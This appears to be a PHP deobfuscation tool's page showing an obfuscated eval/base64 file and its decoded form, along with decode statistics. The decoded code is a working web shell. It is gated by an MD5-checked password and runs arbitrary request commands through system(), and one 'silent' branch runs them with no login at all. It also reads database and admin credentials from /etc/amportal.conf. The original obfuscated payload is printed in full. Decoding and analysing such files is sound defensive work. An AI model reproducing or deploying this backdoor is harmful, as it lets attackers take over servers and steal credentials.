Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /*xxVHS2WEMFo84UaQcicHxjqjQymje*/eval(/*9Mm5tf7qUU6i2bdc1pve72yxlo6IH*/base64_decode..
Decoded Output download
/*7JmIgMOHuxvVz9kcGRa6CHrmWUT9ZP76ytOPgCwKa1FJa0VQS5XvNoSJjLTiB0o9ucYKPvu0waJHbFy3KvyyTrhcdauObTXF5WpVsUWY5FGgkek5JTDDkVQx5klhdjWjgmfIhbGmRmDcBXhlQVY*/
session_start();
if (isset($_REQUEST['p']) && md5($_REQUEST['p']) == 'a14eefbe7ab80cfa2cb7d6ee742dd4f9') {
$_SESSION['dod'] = 'logged';
}
if (!isset($_SESSION['dod'])) {
echo '<form action = "" method = "post" ><input size = 60 type = text name = "p" /><input type = submit value = "XbadX" /></form>';
exit("XbadX");
}
/*7JmIgMOHuxvVz9kcGRa6CHrmWUT9ZP76ytOPgCwKa1FJa0VQS5XvNoSJjLTiB0o9ucYKPvu0waJHbFy3KvyyTrhcdauObTXF5WpVsUWY5FGgkek5JTDDkVQx5klhdjWjgmfIhbGmRmDcBXhlQVY*/
if (isset($_SESSION['dod']) && $_SESSION['dod'] == 'logged' && !isset($_REQUEST['silent'])) {
echo '<form action = "" method = "post" ><input size = 60 type = text name = "c" /><input type = submit value = "do" /></form>';
echo "<xmp>";
@system("grep AMPDB /etc/amportal.conf");
echo "---------------------
";
@system("grep ARI_ADMIN /etc/amportal.conf");
echo "---------------------
";
@system($_REQUEST['c']);
echo "</xmp>";
}else{
echo "<xmp>";
@system($_REQUEST['c']);
echo "</xmp>";
}
/*7JmIgMOHuxvVz9kcGRa6CHrmWUT9ZP76ytOPgCwKa1FJa0VQS5XvNoSJjLTiB0o9ucYKPvu0waJHbFy3KvyyTrhcdauObTXF5WpVsUWY5FGgkek5JTDDkVQx5klhdjWjgmfIhbGmRmDcBXhlQVY*/
Did this file decode correctly?
Original Code
<?php /*xxVHS2WEMFo84UaQcicHxjqjQymje*/eval(/*9Mm5tf7qUU6i2bdc1pve72yxlo6IH*/base64_decode/*xR7UWB9423Y9m0kzdlZIz6K*/(/*E6wKOd6m4eg1Qq5Tu32Q4*/'Lyo3Sm1JZ01PSHV4dlZ6OWtjR1JhNkNIcm1XVVQ5WlA3Nnl0T1BnQ3dLYTFGSmEwVlFTNVh2Tm9TSmpMVGlCMG85dWNZS1B2dTB3YUpIYkZ5M0t2eXlUcmhjZGF1T2JUWEY1V3BWc1VXWTVGR2drZWs1SlRERGtWUXg1a2xoZGpXamdtZkloYkdtUm1EY0JYaGxRVlkqLwpzZXNzaW9uX3N0YXJ0KCk7CmlmIChpc3NldCgkX1JFUVVFU1RbJ3AnXSkgJiYgbWQ1KCRfUkVRVUVTVFsncCddKSA9PSAnYTE0ZWVmYmU3YWI4MGNmYTJjYjdkNmVlNzQyZGQ0ZjknKSB7CiAgICAkX1NFU1NJT05bJ2RvZCddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ2RvZCddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uID0gIiIgbWV0aG9kID0gInBvc3QiID48aW5wdXQgc2l6ZSA9IDYwIHR5cGUgPSB0ZXh0IG5hbWUgPSAicCIgLz48aW5wdXQgdHlwZSA9IHN1Ym1pdCB2YWx1ZSA9ICJYYmFkWCIgLz48L2Zvcm0+JzsKCWV4aXQoIlhiYWRYIik7Cn0KLyo3Sm1JZ01PSHV4dlZ6OWtjR1JhNkNIcm1XVVQ5WlA3Nnl0T1BnQ3dLYTFGSmEwVlFTNVh2Tm9TSmpMVGlCMG85dWNZS1B2dTB3YUpIYkZ5M0t2eXlUcmhjZGF1T2JUWEY1V3BWc1VXWTVGR2drZWs1SlRERGtWUXg1a2xoZGpXamdtZkloYkdtUm1EY0JYaGxRVlkqLwppZiAoaXNzZXQoJF9TRVNTSU9OWydkb2QnXSkgJiYgJF9TRVNTSU9OWydkb2QnXSA9PSAnbG9nZ2VkJyAmJiAhaXNzZXQoJF9SRVFVRVNUWydzaWxlbnQnXSkpIHsKICAgIGVjaG8gJzxmb3JtIGFjdGlvbiA9ICIiIG1ldGhvZCA9ICJwb3N0IiA+PGlucHV0IHNpemUgPSA2MCB0eXBlID0gdGV4dCBuYW1lID0gImMiIC8+PGlucHV0IHR5cGUgPSBzdWJtaXQgdmFsdWUgPSAiZG8iIC8+PC9mb3JtPic7CiAgICBlY2hvICI8eG1wPiI7CiAgICBAc3lzdGVtKCJncmVwIEFNUERCIC9ldGMvYW1wb3J0YWwuY29uZiIpOwogICAgZWNobyAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tXG4iOwoJQHN5c3RlbSgiZ3JlcCBBUklfQURNSU4gL2V0Yy9hbXBvcnRhbC5jb25mIik7CiAgICBlY2hvICItLS0tLS0tLS0tLS0tLS0tLS0tLS1cbiI7CiAgICBAc3lzdGVtKCRfUkVRVUVTVFsnYyddKTsKICAgIGVjaG8gIjwveG1wPiI7Cn1lbHNlewoJZWNobyAiPHhtcD4iOwoJQHN5c3RlbSgkX1JFUVVFU1RbJ2MnXSk7CgkgZWNobyAiPC94bXA+IjsKfQovKjdKbUlnTU9IdXh2Vno5a2NHUmE2Q0hybVdVVDlaUDc2eXRPUGdDd0thMUZKYTBWUVM1WHZOb1NKakxUaUIwbzl1Y1lLUHZ1MHdhSkhiRnkzS3Z5eVRyaGNkYXVPYlRYRjVXcFZzVVdZNUZHZ2tlazVKVEREa1ZReDVrbGhkaldqZ21mSWhiR21SbURjQlhobFFWWSov'));/*phIp0ivLqaSWVHa13fgkg6K*/?>
Function Calls
base64_decode | 1 |
Stats
MD5 | d031f911c14eaf567c0fe2bea6572d6c |
Eval Count | 1 |
Decode Time | 44 ms |